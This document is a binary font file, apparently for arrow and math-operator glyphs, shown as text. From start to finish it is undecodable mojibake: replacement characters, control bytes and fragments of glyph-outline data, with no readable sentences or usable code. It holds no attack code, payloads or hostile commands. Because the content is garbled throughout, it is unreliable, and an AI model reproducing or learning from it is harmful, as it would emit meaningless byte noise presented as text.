��x�ݎ��x�*(94=;78Q�	




B��$=+#5#53547>76"3276767654&'&'&g@16**)+50AG��x��#x��T61@
	G


))87;=49(*��x#�#x�H;78R�	
H



	B��$=23'7'7##5#"'&'&'&54767676";54'&'&'&j@16T�x#��x���GA05+)**61@


G	R87;H�x�ݎ��x���*(94=;78))�	



H
	B���F26767676763226767'7'7#"'&'&'&'&'&"#"'5[
#$!
�x#��x�,"	
	
	"/�x��#x�



%$


�x�ݎ��x�
"

 !
�x#�#xB���#'7#533'7'v�8�1��x��#x��8�1��x#��x���'�x#�#x�'�x�ݎ��x9��~�
7'7��c����kn�"��[�	k��Oc�u�P�%���8�5!#Ђx��"x�h���x#�#x��w���!#!'7'�z�f�x$��x��W��x�ݎ��x���8e!3!5����x��"x���w�x#�#x���e'7'7!3�x$��x������x�ݎ��x���W�5p!5!7#7[�_��x�ݎ��xw��x��#x?���^!3!5Xx��x��"x����x#�#x2X�
'5476767632#4'&'&'&7#7,#!A=PNZ]KS;>#"�!*#13#'D�x�ݎ��xq!TPA>!  #<?ROZ/)(" C'%�x��#x2X�
'7#74'.'&'&#476767632��x�ݎ��x�D'#31#*!�"#>;SK]ZNP=A!#q�x��#x�%'C "()/ZOR?<#  !>APT2���V
5!7!##2l��v��<��Ļʌ��v��Ĝ<�B���
	!!#33#'7!5!'7x���p�x��������x��p��x
x��x�����,��x��x7���42#"'&'.5476732767>54/#7!�%?((*MGgZsn_aMOP(%R�.-'<0CA57---0�v�\�apn_cMG.(()LN�koaZU�-8:>=96/(-,r=ZH��v�7���4#5!#53276767654'&'7#"'&'&'&5476��v�0---75AC0<'-.�R%(POMa_nsZgGM*((=\�v�d�HZ=r,-(/69=>:8-�UZaok�NL)((.GMc_nmd�B���5!B#x�4��#x��B���!!BM�̂x����x#��M3'#��"x��M��x�����M#'��x$M��4�x#B���!5!'7���4�x#��x��B���'7!5���x�������x����M!37��x��M�̂x����M!#73ض��x��#x�4B����		'7!5!'7	5!!���x���4�x#��#x�4�̂x��x��x����#x��x�M		'#'	#737�"x��x$r���x��xM��x���4�x#��#x�4�̂xB����	5!!'7!5!'7B#x�4�̂x*��x���4�x#�#x��x���x��x��B����'5!!!!5�#x�4�̂�4�̂x��>��#x���x#��M73'#'#'3i��"x���x$�����x���4����4�x#B����'7!5!'7!5!'7��x���4����4�x#>����x���x�ݎ�M%#73737#h����x���x�ގ��#x�4�̂�4�̂x��B����
'7!55!���x���#x�4����x���#x��B����
!!	!5!'7BM�̂x��M��4�x#��x#��x��B���!73!!!'7#5!!�{Va6���P��EV`6�Dx��#x��\HHVߞ;cf�f�:bDx#�#x�HHB���!7'#53533'7'7##5'35#�HH��Dx��#xD���Dx#��xD�����H�HH�fDx#�#xD��Dx�ݎ��xD��f�HB���!'7#5!7!5!73'7/!7'!8��Va6�8P�x�V`6�Dx#��x��HH����;cf�f�:bDx�ݎ��x�HHB���!!5!3HH\�
Dx��#xD�yHHfDx#�#xDf��M#'3'#' fDx$�"xDfI\���Dx#��xD�
\HB���!5!'7'7!5!7����Dx#��xD�
\HyfDx�ݎ��xDfH��M%37#73�fDx�ގ��xDfH�\�
Dx��#xD���HB���5!'7'7%!7'!�Dx��#xD�Dx#��xD��kHH��H�Dx#�#xDDx�ݎ��xDfHHH��M'3'7#77'�Dx$�"xDDx�ގ��x�HIIHW�Dx#��xD�aDx��#x�HHkHH}��6##7!#�V`J��v�nJ�V��Jp�v���J���T	'#5!#5'5C��Jn�v���J`��J�v�dp��J^V���T�%753!5373���J�v�dp��J^V�^J��n�dv�J��}��6�%33!'38V^J��p�dv�J�V`J��v�nJB���!!!!5!!q��Y�Nx��#x���dfYfx#�#xfB���'!5!7'!5!7!5�Y���x#��x�NY��dYfx�ݎ��xfYfB���3773#''#5[�K�LnDv��v��x��#x�P��P�~��~�x#�#xB���'7'7#''#5377v�x#��x��v�vDnL��K��x�ݎ��x�~��~�P��P��M%#5#535#535'3'3#3�����x$�"x��������V¼�x#��x���V���M3#3#7#75#535#5353�����x�ގ��x��������V»�x��#x���VŸB���	
#553353!Ƃx��#x�C�{���x#�#x��������M	
5'3'#7#7��x$�"x����nƂx#��x��}���ʻ�B���	
3'7'7+53#53�Ƃx#��x��}���ʻ���x�ݎ��x������M	
7#757'3'3؂x�ގ��x�����Ƃx��#x��}��6��B���
	!!#3x���p�x�����x��x���B���
3#'7!5!'7����x��p��x��,��x��x���
5!5!	!!5���c�m���	깹]��������
333'#!#�\�^�����Z�����	��A���
!!75!!5������
���]�]��Y���Y��
###3!3"^�\��Z���X0����	�m��
3'335%!!#	#�^��\�����������z������nnZ���g��m����
%3'3#!5%#	#3!�^��\�^�����������dddZ���m�!����
#!5#7'#	#3!�^�^�����������dd9c�������m�!����
#	#3!3#!!5#3�������f�\�F�^���m�!��ו�dd��kn���'33%#	##!#'37"��\����������`��\\\~����$y��m��?��TT��
%3'3#!5'3!3#7#	##'37�^��\�^p�������������\\\�����@ddZ�����m�?��TTB���
5#35!7'!!!5	5dd����������m����]��]�����Y�Y�'���d!#7!##��g�v��<��Ļdg�d��v��Ĝ<�,�x!5!!53753�����d��Ĝ<�c��g����<��Ļ�d��	3'3#7##	#3	3�^��\\��^�������X�Z�Z���֤����m���m�B���676323'7'7##"'&'#5�8X�)O$A?��x#��x��:[��V6N�J9\63S�x�ݎ��x�H9ZY8J��M	3'#'737�"x��x���x��x��M��x���4�x��#x�4�̂x��B���'7!5!'7!5!'7!5!'7��x���4����4����4�x#��?����x����x�ݎ���B���#5!5!53!<��x��#x��S����x#�#x����B���!5!53!'7'7!#���R� �x#��x�������x�ݎ��x��B���'7'7###5353v�x#��x��ͧ�x��#x�����x�ݎ��x����x#�#x���B���533##5##5#5353N��X�قx��#x����������x#�#x���B���3533'7'7##5##5#5353�W�ڂx#��x���W������x�ݎ��x������B���#5##5#533333'7'7�j%j��x��#x��j%j��x#��x�������x#�#x������x�ݎ��x����		!!5��c�m���	깹������B���	7!5!�����	�����Y7�7�Y���		!	7��m����m����g��������7�Y�Y7)��r���!��
!!!!h���)�m'Z�\'�mc����q�+����76! !&'&"2767!! '&��'&�Q(��

5�jj�5
w(Q���٠��s���f�)r�����r)�f���sw��Ze 0563 #"'&547632654'&#"3276767&#"l�j/�<F����h|ol�nh'8	 _�S}()G:3?1&Q��3!e�$��t�q����z[n�̠�ERAIo:���I-.$,Q?I��Y�C�7!!5!!5!!�p��p����`�|���+���C43!!#7#53#5!!5!3!��	�c�D�h�>h�Zיrr�h4_�+__�|����z�|?X��!0?"'&''7&'&54767>2"&'2767>54'&ww&'''OO��_:3www('''OO��_;4�AA565���
A�AA565�ww49_pm__ONP(&www4;_mp__OOP((D56�MJ@���
56�JM@����K@&4<���91/��90KSX����Y"%	!!{����!�5����q����!!{�����������qdm�3!!"&63!!"!Q
)�S��������S�)
�PH{���_�_��{HP�d�;w�
+#"!#73#!!3!!"'&'7&'&63�S�)
W�
�J�+!y�����53W	�^c>H����{HP�PHC4|�Pu�_�`��P�`���_�c�n�!!3!!".>3!!"U��*^����������_*��&,bމ���`+dm�&'.#!5!2#!5!26767!5�
)�S�������S�)
��mPH{�����b����{HP�d�;w�
+%326767!73&'&''7#53!5!&#!5!2'#܃S�)
��V�
�SK�,"x���k�
��52X	�^c>H����{HP�PHC4���Pu������P�`���b���c�n�!5!&'&#!5!2#!5!276|��*]��������^+�&,bމ����`+��3!������L9�@��44����1���20!!!9��_��^�-���L9�!!!���L��-�^�LP�*@�	��
�<�91���990	5!!	!!5m���y��=��/9)�� ��ӇB���H
��1��0!!BK����Xy!!5!3!!!5!�f����f���!b�b�������B3���y�TU
�e��t�r���X�)��1����
,@
��
	��91��90'%3##q@`���4�4����{��$���1���v(3#532654&#"5>32#"&'532654&'%3##oooJUOFE�DE�C��ibou��K�JC�PU_b��@`���4�4����2,-3�teI^p\y�@8=D��{��$���1���e
333##5!5'%3##����mm��w>@`���4�4�����������&�{��$����� %.#"326"&'#"&54632>3"3�6J0<KC78\�K�@7�W����\�2-�Z"b"0P&{|Su^_rh��bkgf类�hikf�ngt[��/7@$	s'!t	s-r0$$$*0����99991�<�2�<�299032654&#".#"326>32#"&'#"&54632�0P2;JC88b�6J0<KC78\�-�d����W�@7�W����\�ut[u^_rna|Su^_rh1kf๲�bkgf类�hX�y%!3!y���3� ��X�y%!3!y����� ������_��)!!�ֈ���ij�����!!����*����^���j��32#4&"#�����a�a�Z4�����tt�\��32653#"��a�a�����HZ�\tt��������^>#47632&#"#"'732�Up�s�XlNGUn�s�XlNGD"�Mco�H��ޕMco�H�^�#+4632&#"#"'732%4632&#"#"'732�ro�nQ.A&ro�nQ.A&��ro�nQ.A&ro�nQ.A&D"��K�&��ޑ�K�&�"��K�&��ޑ�K�&��^�#+A4632&#"#"'732%4632&#"#"'732%4632&#"#"'732aroKnR&roKnR&��rnLnR&rpKmR&��roKnR&roKnR&D"��Kz��ޑ�Kz�"��Kz��ޑ�Kz�"��Kz��ޑ�Kz���iB�'Q��$'Q��WQ4�W���i>�'Q�W'Q��$Q0$���i�'Q�WQ��$���iB�'Q��W'Q��$'Q4�WQ0$��B��'Qt�Ji��!!!!!!RM��M����������������/6��&�'Q�T'Q��$'Q�oTQ�n�$��Xy�&�'Q~Q��X�y0#"'&'.#"5>323326yK�OZqMg3N�JN�S`�u_G�0�;73
":?�<776<X�y032?3632.#"#"&'XJ�G_u�`S�NJ�N3gMqZO�K0A<677<�?:"
37;Xcy�&#"5>323267#"''�43N�JN�SFX�ɉ;5G�JK�OK[��C:?�<7�D�j<A�;7#�lDX�y�#"'&'.#"5>323326!!yK�OZqMg3N�JN�S`�t_F��(!��Z�<73
":?�=676=��X'y�#"'&'.#"5>323326!!yK�OZqMg3N�JN�S`�u_G��)!����;73
":?�<776<�Y�X z'767'"'!!'7#5!7&'&567676�F^UE;eFT(O^�j��g�R�;uIF\<[ETFR�
&���'"B�6$��P���(9�L5hX<y�"#"'&'.#"5>323326!!!!yK�OZqMg3N�JN�S`�u_G��)!��!����;73
":?�<776<�P���X��y�.#"'&'.#"5>3233263!!!'7#5!7!5!7yK�OZqMg3N�JN�S`�u_G�`������a��G��#z`���;73
":?�<776<�P���u���uX�qy�/7#5!7!5!7&'&#"5>3236767!!!!'��\���UQ:43N�JN�S`�j�NDJKHEL=a�?]��R�<����#:?�<77
Y�A�;�����XX�y�7Z@110+5.*'  'l.5l ll810*
8�<�291�������99999990#"'&'.#"5>323326#"'&'.#"5>323326yK�OZqMg3N�JN�S`�t_F�IK�OZqMg3N�JN�S`�u_G�Z�<73
":?�=67	6=��;73
":?�<77	6<X=y�4&'&#"5>3223267#"'3267#"'&''75>3243N�JN�S`�f�]G�JK�O)-D\NF�IK�OZqg�Z�pN�S#(�:?�<76Z�<A�;7�%=@�<73	��Z�
o�=6X<y�6:#"'&'.#"5>323326#"'&'.#"5>323326!!yK�OZqMg3N�JN�S`�u_G�JK�OZqMg3N�JN�S`�u_G��)!����;73
":?�<77	6<���;73
":?�<776<�Y�Xy�7R#"'&'.#"5>323326#"'&'.#"5>323326#"'&'.#"5>323326yK�OZqMg3N�JN�S`�t_F�IK�OZqMg3N�JN�S`�u_G�JK�OZqMg3N�JN�S`�u_G�u�<73
":?�=67	6=}�;73
":?�<77	6<���;73
":?�<776<X<y�"32?3632.#"#"&'!5!5XJ�G_u�`S�NJ�N3gMqZO�K!��!���A<677<�?:"
37;����1��W�yY %52% $'"51�p��Z��V�(�I������؜�������Xy�;76767!##"'&'&'#5!!5367676323!&'&'&i1*+V�	/J]?3hG2"�W,!::!,���"2Gh3?]J/	��+*%'H@4�50U(33!\?&�5?H'�'H?5�&?\!33(U05�4@H'%X'y�!!5367676323!&'&'&!!i:!,���"2Gh3?]J/	��+*��!���'H?5�&?\!33(U05�4@H'%����X'y�'Q) ��X�Zy�'Q)'Q�H ��X�Zy�& 'Qk�HQ��)��X�Zz�'Ql)'Q���H Q��!!!!3#3#�������������	��Q��!5!5##:��/��������c��A��BX'y�	365&'!!5!&547!5!!%43�44�����!��0?=00=G(���?.4;��U.X'y� !!!!"264&'#"&5476X!��!��3FFfFG2�TUZY���X^����D11CCaE�RR}wWT�||U[X'y�!!!!2&'56X!��!������������ɗ�	��X'y�!!!!3#X!��!������wt���M[��*��X'y�!!!!33#X!��!����tw��������*��X'y{!!!!!!%X!��!��jCdfA��f����d���Y2�ξ�;�3X'y
!!!!33!X!��!��iӡo�U�����3�'X'y!6=Q!!!!53#5#"&4632264&#"%#3267#"&546324&#"#"3##5#535463X!��!��ii3#<NN<"4/"##"!##B�.)!E$%J%YbaTM]l"&
:YYh44;?���`��:0`�`�1]11]1a%%QZQP\]+$" �DK��K53V'xh-!!!!>32#6454&#"#4&#"#3>32V"��"��V!Z6^b�"%25�'26�� R28W���35uo��

:5SN��[5SM��%Q//7V'x:%)!!!!#546?>54&#"5>323#V"��"��J� 6 0*)^3<d/z�'/ "������N*?1.#'!!�d_1N, %`�N���>@"

H
H
	
�<�291�<�2�<�2.�990!3!!!'7#5!7!N�������m����A���1}��������X<y�!!!!!!X!��!��!��������X��y{!5!73#!!!!'7#537!5!~���P�$��fZ�=e(�lN�"��e�����bS�����bK���X��y�!!!!!!!!X!��!��!��!�������Xy�
&@H	
�<�2291/���90
5!5y���!������P�N�F��Xy�
&@H	
�<<�291/���9055%!!X!���!��������X�y
3!!
5!5X!��!���!���
���P�N�F��X�y
3!!55%!5X!��!���>���
������X�}y#5!7!5!73!!!'
5�ZY�M{~�	���X��������!��i�i행���P�NX�}y#5!7!5!73!!!'55%�ZY�M{~�	���X�����!�����i�i행����W��yq&%5767$'567���Rȳ�}v�֜P���ij�~w�Ԟ���P��(F�d%���EP7(G�e#X��y%5%7%'��bk�8�j��y����x���!:�_�|����:�XCXmy�55X!�����`�a�X�<yD7%!!'7!5!7%5%y�k���Sn�KA���D�*��ZW�Ozd�#@4�=�P�h���Lx���"LX�<y@7'#5375%7%5!!'���� z�0�VF�d�j�e���G��'C��0'���P�a�u�6L��v����LX��y�!#"'&'.#"5>323326
5yK�OZqMg3N�JN�S`�u_G�J���!�;73
":?�<776<����P�NX��y�!#"'&'.#"5>32332655%yK�OZqMg3N�JN�S`�u_G��)!����;73
":?�<776<�����X�<yD+.7%3267#"'&'&''75>327%5%����Rm�KKt`G�JK�OZqG�:GAFJN�SM�Oye����l<�P�g��	6<A�;73
	�L�?�<7܊��"L�+@4X�8y@-0%33267#"'&'&'&''75676?5%7%5?'�7;t`G�JK�OZqM3T�.=ASD"%�VG�c�k�e���W���
6<A�;73
"�L�7�@lP�a�u�1L��y�/'X�
yy
55%
5X!���>���!���������P�NX�
yy

5	55%y���!��!�������P�N�����X�Ty1!7%'757%57%5%77'�4��PG�x0���e�4��P���0�GkB$��$�1F�4�F�\�}�����F�5�F\�|����t?�t?X�Ty15%%''5%75%7XZu�u�:��&��u�v�k;�Z�&��vF��I�s���}��FyJ�s���}V��wa%&'567$w��S�h��������"/����_�D$�#Q�_V��wa%$V����h�S���b���Q#�$D���bO/"X�[y�5%$X�{�q���Q�_����#�p����O���KI���4
&X�[y�%%$y�n�q{��������_Q��#y��Bp�R��&��4�	RIKX�2y�%%#"'&'.#"5>323326%$yK�OZqMg3N�JN�S`�u_G�J��Q�_������;73
":?�<776<T��KI���4
&X�2y�%%#"'&'.#"5>323326%$yK�OZqMg3N�JN�S`�u_G��)�����_Q����;73
":?�<776<TR��&��4�	RIKV�w�67&%'&'567677\�RN@��E������߾���\Si�I�Ra���_�b������IGE#�"R!+��V�w�'76?&'67&q�RN@��E����߾���\Si�I�Rab�_�b�b��*I��E#�"R!+DX�yx!!"3!!"'&5476?:��n�LMm:��׃���x�|~KM᎚�ِ�X�yx2#!5!27654&#!5�̍�����:mML�n��x���Ϛ��MK~|��X��yy %&'&5476;3!!!"''#"T=1���̆c�H�����c�w.n�L�!5��ِ�E������Fǚ|~K
X��yy +'7#5!!5!232654'&'}=1���̆c�H�>��9c���.n�LA!5��ِ���E��,�F�9�|~K
X��y)%!5!!"3!!"'&5476y���:��n�LMm:��׃������c�|~KM᎚�ِ�X��y)7!!2#!5!27654&#!5X!��:̍�����:mML�n����Q���Ϛ��MK~|��X�y�(#"3!!!"#!!'7#537&'&5476;7�On�L!������-u�/K�.~�=M=���̦C�H�|~K����u��Lx�#B��ِ��EX�y�(!5!27+!!'7#537!5!327654/���:*'E�E/&����`-u�/K�.~�-��/mMLL
,��E�(��Ϛ�u��Lx�u�MK~|M	X�y)!%!'7!5!7#"'&54763!!"3!!y�(��6���^N׃����:��n�LNl:��=6��ؔD�u���ِ��|~KM�1DX�y) 2!!'7!5!7!5!27654&#!5�̍��Kh]6�(��6���^��:lNL�n��)���ϚR"KD�ؔD�u�MK~|��Z��w3#%3653! ��q�w��y��������R��V�����B����Z��w3653! 3##5#535Z�w��y�����P�����F��V�����B����Z������XVy�1�/�3������ް2������/�3�����01!!!!X!��6�����XVy�1�/�3������ް2������/�3�����01!5!!5y��6��������X��yI�?�3�����
�ް2���	���ް2������/�3�3�3�����015!!!!!X!��!��6����*�@�X��yK�?�3������ް2�����	�ް
2������/�	3���������01!5!!5!!5y��!��6���?�j���>�#!#�������>�33!3>�������3��3?2"&'&'&547676"2767>54&'&'3!!#!5!���WV,+++WW���WW+++,VW��GE:;99;:EG�FF:;99;:F�������XVWih{xihWVXXVWhix{hiWVj9;�SP�;99;�PS�;9������3��372"&'&'&547676"2767>54&'&'!!���WV,+++WW���WW+++,VW��GE:;99;:EG�FF:;99;:F���M�XVWih{xihWVXXVWhix{hiWVj9;�SP�;99;�PS�;9��3��3?2"&'&'&547676"2767>54&'&'77''7���WV,+++WW���WW+++,VW��GE:;99;:EG�FF:;99;:F�8x��x��y��x��XVWih{xihWVXXVWhix{hiWVj9;�SP�;99;�PS�;9�y��x��x��x�3��372"&'&'&547676"2767>54&'&''���WV,+++WW���WW+++,VW��GE:;99;:EG�FF:;99;:F��x�x�XVWih{xihWVXXVWhix{hiWVj9;�SP�;99;�PS�;9�_x�x3��7!!2"&'&'&547676"2767>54&'&'�M��.��WV,+++WW���WW+++,VW��GE:;99;:EG�FF:;99;:F/��XVWih{xihWVXXVWhix{hiWVj9;�SP�;99;�PS�;93��3BL2"&'&'&547676"2767>54&'&'2#"&546"32654���WV,+++WW���WW+++,VW��GE:;99;:EG�FF:;99;:F�7b%&'�qq���X>=,-?�XVWih{xihWVXXVWhix{hiWVj9;�SP�;99;�PS�;9d)'%`8n��qq��>Z<=,,3��!)/7?E2"&'&'&547676&'&'&'75676767'%654'���WV,+++WW���WW+++,VW�:F!#�!E:��ֈ	:E!�#!F:
	�&
��XVWih{xihWVXXVWhix{hiWV��9��

9{18@9p�9
��9

w:A92t3��!;!!!!2"&'&'&547676"2767>54&'&'+{��{�����WV,+++WW���WW+++,VW��GE:;99;:EG�FF:;99;:F@���XVWih{xihWVXXVWhix{hiWVj9;�SP�;99;�PS�;93��372"&'&'&547676"2767>54&'&'!!���WV,+++WW���WW+++,VW��GE:;99;:EG�FF:;99;:F����M�XVWih{xihWVXXVWhix{hiWVj9;�SP�;99;�PS�;9��2K��3!!#!5!!!!��������o�������������2K��!!!!!��M��o��ת������2K��77''7!!!
y��x��x��x���o��ix��x��y��x�s����2K��!!!!!�M��3��o��/�������B�!!#/^�������B�!!5!3���^�
���B�!#!5��R�P���B�35!3!B�������Xmy�5
y��!��.����������Xmy�-'55E.���!�����U��`�a�Xy�

%!55
y��!��!�
����$�]P�N�C��Xy�
7!!-55X!�����
�!����U�������]g��&"26!5!6762"'&!OsPOtO�r��w#[륢�S'�PQqOO>�-"Y��R%Z�Lw#4&'&#! w�w��y�� ����H���\P��Z�/w�73653! Z�w��y�����\�����H������z�>	����|��bc���|���|b������I��1��0!!�M�����v�\	!!'�*]])�]��\@��寯X'y�32?3632.#"#"&'!5XJ�G_u�`S�NJ�N3gMqZO�K!���A<677<�?:"
37;������
!!%���R����|����+����
#!!$��������|���+���Z��w2"&63!!"3! )!"3!
����m��)99)m����m�m�����mD���9R9���:���|���Z��w22#!5!264&#!5 )5!2#!5D�����m)99)��m��m��m�����������9R9�r�m��m���X��y5
-5	
5!5X�!��!���!�������n���P�N�F��X��y5
555%!!y��!���!���!����N�P��������Xy�
%5!5!y��!���!��N�P����Xy�
7-55!X�!��!��������X�[y�$%$X�����Z!�k�t����O+yO����p�m��&
4�����IKX�[y�$%$y�Z����qO�������t�k+�pB���	KIR�	4��&��X�ym!$67&'%'&'57&'$77��I�y��'Ȭ��)���~ዜ�˰(���8m0��p����[�^���䈿�����D���0�A �!F�I
l��X�ym!67'6?6?$X�,u�|��ռ0�����J�y��7ٱ����R��#0��(
��D�](�3���0Z��BNj���R�\R\X��y&3#!!!!'7#537!!!>�F�����
=0�|b�F��=�������&N��@���N����U��@X��y&3!!!'7#537!5!!5!3>�F��
=0�|b�F��=����������&N�j���N������@�X�y5!7!!!!!!!'7X�w��!��6��_H4�%��H���@�Cf��fX�y!!!'7!5!7!5!!5y��_H4�%��H���w��6���jCf��f����X��y�"
%3267#"''&#"5>327%5y���L;5G�JK�OK[_�b43N�JN�SFXH��!����e�<A�;7$��D :?�<7ի�NX��y�#53267#"''&#"5>3275%X!�V�_;5G�JK�OK[_�b43N�JN�SFXJ������,��<A�;7$��D :?�<7۫��X�=y�
&%$	&#"5>323267#"''y��Q�_�����k43N�JN�SFX]�_;5G�JK�OK[_����KI���4
&��:?�<7D��<A�;7#��DX�=y�
&%$&#"5>323267#"''X�����_Q��{43N�JN�SFX]�_;5G�JK�OK[_��R��&��4�	RIK�:?�<7D��<A�;7#��D9��;!!!!!!q'��d'��d'��;��o��o����?X���r8R�5����:z��J�B���nc�	3	%!	n����}�������V��N���?>�	#	#h������G��f���>�	3	3h�*������f��>�		#	#!!h����
��g��G��f���>�	
	#	#!!!!h����
��g��g��G��f��j���T!#!W�$������o���	!#7����>�$��d���b!3�b
���$��"���}���!73!z�$�>
��d��R!!3#���Cܐ�R�L� 
��R!!3#
��C	��R�L� ��~3#!!�����C~� L�
��~!!3#
��C	��R��� Xjy�!#y������G��,$%%$�nn����������!"�������nn������8����ʸ����	����!%6 !&'&"�;1�1�2��Q2�q�p��`�XX���V@@V�Y
 	67"7�,�J5�P�P5J��k��X*7��7*I=����P"2642#"''7&546��xt�yΞi56؝wY�e�:��v�uv�o3�N��=�e�Xt��#��O'+6@KV#"&46235462+32"&=#"&46;5#'54&#"3!3264&#"32654&#!#"3265��k��֘��֗�k��k��֗��֗�k�����L65LL5�6LM56LM56LM5���5LL56LJ�ח�k��k��ח��ח�k��k��ט���5LL56LLkLL5���5KK65LL65KK5Xjy�!3!y���3j��
���!#!����������5!#����5;
�p�;!!3��X�����p�;)3!��X;�5��f477632#"&'&'&#"�jk�bwL=.>\������bP<I0-".���#�<C���0#"&546323265�jk�bwL=.>\�����bP<I0-".z�#�@���!!!#%!!@��)�N�W����?��Q��(�I

	!!#37!#3'�Q����(��(�qdd��&&��dd��o!�p����������_(rI!!#73#'r���w����dd�#v��v�dd(!�o�����������+2��"#/;GS_kw�����������+7CO[gs����������!2#!"543!254#!"+"=4;2+"=4;27+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2%+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2'+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2'+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;22+"=4"=43+"=4;2+"=4;2"=43!2#��\\�K\=��Kl]��\�\\\]�ii��\][]\\\\\\\\]\\]\\\\\\x::f>]�Y�"\�I\\�\\�I��`LLMK\y>��>(�I

!!3#!#%33'����(��(��d��&�s�d���������������4���^7	h��\��\D?c��cB�!!!5!!5��R�����R����(����!!!���O��Z�����W���!!!!5!5!!���[�����[��[Z�����W���T���!!!!!!!!!�5��5�����[�����[����˰f�
��W�5���!	7	!!���-�.O���|c�;5�[�Z��.Ґ�|��_�W����=�����&�
����#276'&"! '&'676 !%!��p�q��q�p��B`��Ϙ_BB_�1�`B�[5�;���@@��@@�E�I7XX7H"H7XX7IÐ�W����3#3#&'$%67%676'&�ff2��ff�ff��1ff���=>>=E>>��>3�;��@�;�$�;���;�����#p#3��#��#��t�D'	��
�B�B��3!!#!5!��������M����%�6��B�B��	#!5!3!M�������U��6���%��4��	!%!!��,����5�m���5A���4��	!!!!�;�r�Ե5�m�Y5A�����!!	!���[�����[��#ZCo����W^pK�������!!!	;�[5�;Ő�[�#Z��������������B���35!3!!#!B#x��^����x��#x��6��xB���3	'7!#!5!3!'7���x�����]�
�x#���x�����6�x�����
!%!!%!����e�x����[x����W��x�� x����
!!'7!!'7!�;Ő��x��e��x�[�������x��Âx�������'3273632#'#"'$%65'&#"��pp./����NRR��2���]PQ����
�p��qp/���@��X���������X�`H�>����@B��!=!3!������Z��Z����!���333!#!3!3�P����O�J��3���+��^�/���4��	57!!#x��r�;r�w�/���K�r��m��-���4��%!%!5 !53!]���������������U�Pm��rZ[z���B�"35!5&'&7673!654'B�B4_`4A�D1b`4C��P55�44�}4_`4&��1c��`3��)2HK33HK2B�	'!!#!5!'�"x���K�J��x$��x��M�T���x#���
!!	'!'!�;�x�c���x�~��W��x�����wz�x�wB�!!!#!5BK��K�R�P�T���!���33!###!##��mP�O�m�ʀ�ʀ3���+��^�����4��!5	!!	3!x��S�;������Z�K����m��y����4��
!!!!5!#]�����;r��~��U[���ZZ��,��B�#!#&'&547675!5654/��RC0b`3B�C5_`5B�P�33�66�:2e��`2��k5_��`58�'2GI23JM2B�!7!5!3!!7"��x��J����K�x��#x�;��4�łx�����
!%!!7!!7������x�&�����x����W�����xp�wx������&

����
!5!'!!�;��q�i0���Z�/�=����>&
�	������&
�
�����D&
�	���D&#"632&"26"'# #'��(J^\Nc�db�d
T�N�������+��dd�bc�72���4��������&
�����Z�^'	��R���!!!!!!!�M��M������[��'������Z�����WB��3#%3#!#!5���u��`�R�P���������
3#%3#!!���u��n��2x�����������q���v�7'
��R��-��i'
��8
���t��'
��	�����B3653#&'&33�z�gJ�ʾOh�z�)<�����Ґi��fj�3Z�\|Y
X��y33!!!!#&'&���T��Tʭp��H6LL7u��E����y��� 7N�L7��X�yi'
��8a��Xmyi'
��8!B����	!!!#BK���9��c���!��%!567!6!&'&'&'yKH����FJ97���;�6L2J!/,3
4(`��<���?�-j�oo���	

�lX��y�(8#"'&56776326"&'&&'&'&'&'3276ym{��{dm{��{c�f/
%#2J!UI*/YKX
M3  +/fg/���������
D�����o}R�(�p}�I	(
"�q}}RX��y3#"'#&'&#"5>323326yK�O<G�43N�JN�S52	�PCF���<7�N:?�=6��=���'
!!!#7#537!!�M_;�{���&M��o��55�������!3#!!'7#5!7!!!!��zw�������zw���m��[���1}��������������W���$(,!!!546?>54&#">32!!!�����>PZ?-\\T�`b�e��D^XD&����[������c�NY=P+CDGF89��L�\VBT=	�������WXy�67!!67!%".'X[XU*>P!G*iceOu5c��|oq/1$�H��p�X�?+�.D`0�Xy�!.'!5>3!67'ydaf��N"<U��|ko;�=Qijzx��BQ�%���C^�.C{�j.	|�`;#"'&5#5�%%T:N�ZX�`�
J!!�PN����Vw{
 #"&'!&"2����Z�6���l�nn�{�����]^���S�D�����@���`3676!#"'#"'&7!2�H
WlrU��11��UslW
H��86*��CqS��Sq�����6�����y&
����N}(!5!'# '&76!2&'&#"!!32767N�5�1FYPg������ZTSS?MOP�L.��7L�XGICꐓ*����,��6[5X�fAZ;����`&
������`&
��6���y(7!;#"'&''&'&7676'&'"7A$�DRf�Q1*5ʵjpq���$�A;::6GE�l�����T
=$,��9x���[[��RMB�$��!!#!#5!���	�����C��4���:
%+"326=7#5#"&546;54&#"5>32	7	�]J3,AI��^9ly��s:9<o=7q@�}���\��\�/:*3bX?��F)-qeni() �|��?c��c��:553353!535!"326=7#5#"&546;54&#"5>32M�#��%�����]J3,AI��^9ly��s:9<o=7q@�}����������#/:*3bX?��F)-qeni() �|��:-8S%5!!5!"326=7#5#"&546;54&#"5>32"326=7#5#"&546;54&#"5>32�0�;0�]J3,AI��^9ly��s:9<o=7q@�}��]J3,AI��^9ly��s:9<o=7q@�}�����#/:*3bX?��F)-qeni() �|�/:*3bX?��F)-qeni() �|a��"=%=!!%%%5!55%"326=7#5#"&546;54&#"5>32��'��'�����'��'���]J3,AI��^9ly��s:9<o=7q@�}���X����������������/:*3bX?��F)-qeni() �|H8��17=CIOU%#5&'&'&''7&547'7676767537'56767'7&'&'57654'��(&D9
�F��F�
9D&(�)%E9
�F��F�
9E%)-&rr&-�-&qq&-�r�s8�8hyh=DF<hyh8��8hyg=FE=gyg8�%Bw�B%&A���A&;#"BC "# BF^��'04>2".33&'."#67>76#FV���ʓVV���ʓ=��� m���m ��&#Km �%�� mK$�ʓVV���ʓVV����j,(Km@@mK(��� mK,��K/,Km F^��%.!4>2".7!&'."67>54h�<��V���ʓVV���ʓ7@mK%(��e`	7���7	���(%Km@c���ʓVV���ʓVV�9S�m %H�	
6@@6
}�� m�SPF^��	%7'32>4.#52".u���t�&�F��@m���m@@m�SoʓVV���ʓVnt]�&sْ�F�US�m@@m���m@�V���ʓVV�����!!!���[��Z�����W��m!5!�ݠ�������r�0����p����!!�#����v���!&5���Ơ���T��_�C�����m5!���������p� g�����������!0����v	����!!�#�ƚ�ΐ���,������U��m!!!���#��	q����!!�#����v���!!������	r��m!!�#��N#������!0����v	����!!!�#�����#���m
!4763!!"���{z���f+!��u�����0%���y!4'&/32765!-9+e��n:�==�@ne(� =���F��|AEu���H���<��y
3!!"'&5�!+f���}{y���%0��W���y!!�����	����m
